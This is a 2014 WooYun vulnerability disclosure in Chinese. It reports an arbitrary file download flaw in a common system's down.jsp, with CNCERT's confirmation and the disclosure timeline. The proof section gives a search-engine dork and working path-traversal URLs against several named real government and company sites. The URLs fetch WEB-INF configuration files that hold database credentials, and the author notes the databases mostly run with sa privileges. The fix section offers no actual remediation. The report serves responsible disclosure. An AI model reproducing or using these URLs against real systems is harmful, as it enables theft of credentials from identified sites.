[公开漏洞]某通用型系统任意文件下载
-
来源:WooYun 浏览:1156次 时间:2014-05-01
某通用型系统任意文件下载
相关厂商:
Cncert
漏洞作者:Coody
提交时间:2014-03-17 00:39
公开时间:2014-05-01 00:39
漏洞类型:任意文件遍历/下载
危害等级:中
自评Rank:10
漏洞状态:
已交由第三方厂商(cncert国家互联网应急中心)处理
漏洞来源:http://www.wooyun.org
Tags标签:
无
漏洞详情
披露状态:
2014-03-17:细节已通知厂商并且等待厂商处理中
2014-03-23:厂商已经确认,细节仅向厂商公开
2014-04-02:细节向核心白帽子及相关领域专家公开
2014-04-12:细节向普通白帽子公开
2014-04-22:细节向实习白帽子公开
2014-05-01:细节向公众公开
0.0
详细说明:晚上无聊,翻了翻之前的漏洞,
WooYun: 通用型程序漏洞导致多个政府网站沦陷
看到该系统,随便找了几个例子,
发现该系统存在任意文件下载漏洞
漏洞证明:
inurl:web!getTitleGo.action (这里暂不提struts2的漏洞)
随便找几个站点
测试下载 /WEB-INF/web.xml 及 /WEB-INF/applicationContext.xml(数据库连接文件)
http://www.jcjjjc.gov.cn/common/down.jsp?filepath=\WEB-INF\applicationContext.xml&filename=
http://www.jcjjjc.gov.cn/common/down.jsp?filepath=\WEB-INF\web.xml&filename=
http://www.jqlzw.com.cn/common/down.jsp?filepath=\WEB-INF\applicationContext.xml&filename=
http://www.jqlzw.com.cn/common/down.jsp?filepath=\WEB-INF\web.xml&filename=
http://www.blsxzfw.gov.cn/common/down.jsp?filepath=\WEB-INF\applicationContext.xml&filename=
http://www.blsxzfw.gov.cn/common/down.jsp?filepath=\WEB-INF\web.xml&filename=
……
修复方案:
大都为sa权限,如果数据库服务器是外网的话,是否可以……还是比较危险吧。
漏洞回应 厂商回应:危害等级:高
漏洞Rank:12
确认时间:2014-03-23 20:48
厂商回复:CNVD确认并复现所述多个实例情况,除转发给对应CNCERT分中心处置外,另由CNCERT向监察部信息中心通报。
最新状态:暂无
下一篇: 净网行动打“老虎”挨打的都有谁?